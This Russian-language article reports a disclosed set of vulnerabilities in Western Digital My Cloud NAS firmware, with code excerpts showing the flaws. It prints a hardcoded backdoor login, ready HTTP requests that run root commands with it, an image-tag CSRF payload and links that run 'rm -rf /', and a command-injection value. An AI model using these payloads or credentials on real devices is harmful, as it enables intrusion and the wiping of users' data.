Опубликованы сведения об уязвимостях в линейке NAS(Network Attached Storage) My Cloud компании Western Digital. Исследователь James Bercegay выявил уязвимости pre auth remote code execution, а также зашитый в прошивку админский логин/пароль в следующих моделях NAS:
- MyCloud
- MyCloudMirror
- My Cloud Gen 2
- My Cloud PR2100
- My Cloud PR4100
- My Cloud EX2 Ultra
- My Cloud EX2
- My Cloud EX4
- My Cloud EX2100
- My Cloud EX4100
- My Cloud DL2100
- My Cloud DL4100
В то же время MyCloud 04.X Series, MyCloud 2.30.174 не подвержены данным уязвимостям.
Уязвимость Remote Code Execution
Корень уязвимостей в не правильном использовании встроенной функции php gethostbyaddr
. Как говорится в документации по этой функции:
Возвращает адрес хоста в случае успеха, не модифицированный ip адрес в случае, если не получается получить название хоста и
FALSE
в случае некорректного ip.
Ошибка №1
В данном участке кода заголовок Host
из запроса используется для определения удаленного сервера аутентификации, что позволяет атакующему подменить сервер аутентификации на подконтрольный ему посредством HTTP запроса с измененным заголовком Host
. Если же послать HTTP запрос с некорректным заголовком Host
, в переменную ip
будет установлено значение FALSE
.
$ip = gethostbyaddr($_SERVER['HTTP_HOST']);
$name = $_REQUEST['name'];
$pwd = $_REQUEST['pwd'];
$redirect_uri = $_REQUEST['redirect_uri'];
//echo $name ."
".$pwd."
".$ip;
Ошибка №2
В данном учатке кода запрос будет падать и переменная request
будет иметь значение FALSE
в случае некорректного заголовка Host
из предыдущего пункта.
$result = @stripslashes( @join( @file( "http://".$ip."/mydlink/mydlink.cgi?
cmd=1&name=".$name."=&pwd=".$pwd ),"" ));
Ошибка №3
Функция strstr
принимает два параметра и возвращает подстроку, из строки, переданной первым параметром такую, что она начинается на строку, переданную вторым параметром и заканчивается концом первой строки.
php > echo strstr("1230123","0");
0123
В данном участке кода переменная result
содержит значение FALSE
и функция strstr
вернет пустую сроку.
$result_1 = strstr($result,"0");
$result_1 = substr ($result_1, 0,28);
Ошибка №5
В данном куске кода функция strncmp
неправильно используется для определения ошибки логина, причем проверяется только конкретные значения переменной result_1
и таким образом условие strncmp ($result_1,"0",28) == 0
не будет выполняться при неожиданных значениях result_1
, давая возможность произвести неавторизованную загрузку файла.
if (strncmp ($result_1,"0",28) == 0 )
{
header("HTTP/1.1 302 Found");
header("Location: ".$redirect_uri."?status=0");
exit();
}
На данном этапе все проверки пройдены и дальше начинает работать код для загрузки файлов. В дальнейшем, можно загрузить файл без аутентификации и авторизации. Для использования уязвимости достаточно:
- Отправить HTTP запрос с невалидным ip адресом в заголовке
Host
- Приложить файл в параметре
Filedata[0]
- Указать папку для загрузки файла, используя параметр
folder
Автор также написал плагин для Metasploit, который загружает PHP шелл в папку /var/www
и вызывает этот шелл.
Захардкоженные параметры для входа
Уязвимость находится в CGI скрипте, находящемся по адресу /usr/local/modules/cgi/nas_sharing.cgi
. CGI скрипт является линуксовым ELF файлом и после декомпиляции получается такой код:
struct passwd *__fastcall re_BACKDOOR(const char *a1, const char *a2)
{
const char *v2; // [email protected]
const char *v3; // [email protected]
struct passwd *result; // [email protected]
FILE *v5; // [email protected]
struct passwd *v6; // [email protected]
const char *v7; // [email protected]
size_t v8; // [email protected]
int v9; // [sp+0h] [bp-1090h]@1
char s; // [sp+1000h] [bp-90h]@1
char dest; // [sp+1040h] [bp-50h]@1
v2 = a2;
v3 = a1;
memset(&s, 0, 0x40u);
memset(&dest, 0, 0x40u);
memset(&v9, 0, 0x1000u);
if ( *v2 )
{
v8 = strlen(v2);
_b64_pton(v2, (u_char *)&v9, v8);
if ( dword_2C2E4 )
{
sub_1194C((const char *)&unk_1B1A4, v2);
sub_1194C("pwd decode[%s]\n", &v9);
}
}
if (!strcmp(v3, "mydlinkBRionyg")
&& !strcmp((const char *)&v9, "abc12345cba") )
{
result = (struct passwd *)1;
}
else
{
v5 = (FILE *)fopen64("/etc/shadow", "r");
while ( 1 )
{
result = fgetpwent(v5);
v6 = result;
if ( !result )
break;
if ( !strcmp(result->pw_name, v3) )
{
strcpy(&s, v6->pw_passwd);
fclose(v5);
strcpy(&dest, (const char *)&v9);
v7 = (const char *)sub_1603C(&dest, &s);
return (struct passwd *)(strcmp(v7, &s) == 0);
}
}
}
return result;
}
Тут можно увидеть, что присутствует проверка на захардкоженные данные для входа:
if (!strcmp(v3, "mydlinkBRionyg") && !strcmp((const char *)&v9, "abc12345cba") )
Таким образом возможно аутентифицироваться, используя логин mydlinkBRionyg
и пароль abc12345cba
. Далее, используя метод 51, который содержит уязвимость выполнения команд можно выполнить любую команду от рута, используя следующий HTTP запрос:
GET /cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlinkBRionyg&passwd=YWJjMT
IzNDVjYmE&start=1&count=1;touch+/tmp/gulftech; HTTP/1.1
Встроив в страничку картинку следующим образом возможно добиться удаления всего на данном хранилице:
<img src="http://wdmycloud/cgi-bin/nas_sharing.cgi?dbg=1&cmd=51&user=mydlin
kBRionyg&passwd=YWJjMTIzNDVjYmE&start=1&count=1;rm+-rf+/;">
Другие уязвимости
Также в прошивке сетевых хранилищ найдены следующие уязвимости:
CSRF
Прошивка не содержит никакой защиты от CSRF, таким образом если заставить залогиненного админа перейти по ссылке вида:
http://wdmycloud/web/dsdk/DsdkProxy.php?;rm -rf /;
Исполнение команд
class RemoteBackupsAPI{
public function getRecoverItems()
{
$xmlPath = "/var/www/xml/rsync_recover_items.xml";
$jobName = $_REQUEST['jobName'];
@unlink($xmlPath);
$cmd = "rsyncmd -l \"$xmlPath\" -r \"$jobName\" >/dev/null";
system($cmd);
if (file_exists($xmlPath))
{
print file_get_contents($xmlPath);
}
else
{
print "";
}
}
}
Тут для создания команды параметр jobName
, из HTTP запроса. Передав в jobName
, например jobname > /dev/null; rm -rf
, можно спровацировать исполнение данной команды.
Неавторизованная смена языка интерфейса
Используя незащищенный аутентификацией и авторизацией метод API, возможно менять язык интерфейса для всех пользователей. В примере для всех пользователей ставится корейский язык интерфейса: GET http://wdmycloud/cgi-bin/login_mgr.cgi?cmd=cgi_language&f_language=7 HTTP/1.1
Неавторизованный доступ к данным
Послав HTTP запрос на GET /api/2.1/rest/users? HTTP/1.1
, возможно увидеть список всех пользователей. Данный метод API не требует аутентификации.
Из материалов о данных уязвимостях можно сделать вывод, что нередки ситуации, когда довольно важное ПО разрабатывается людьми, плохо разбирающимися в информационной безопасности, или не задумывающимися над ней.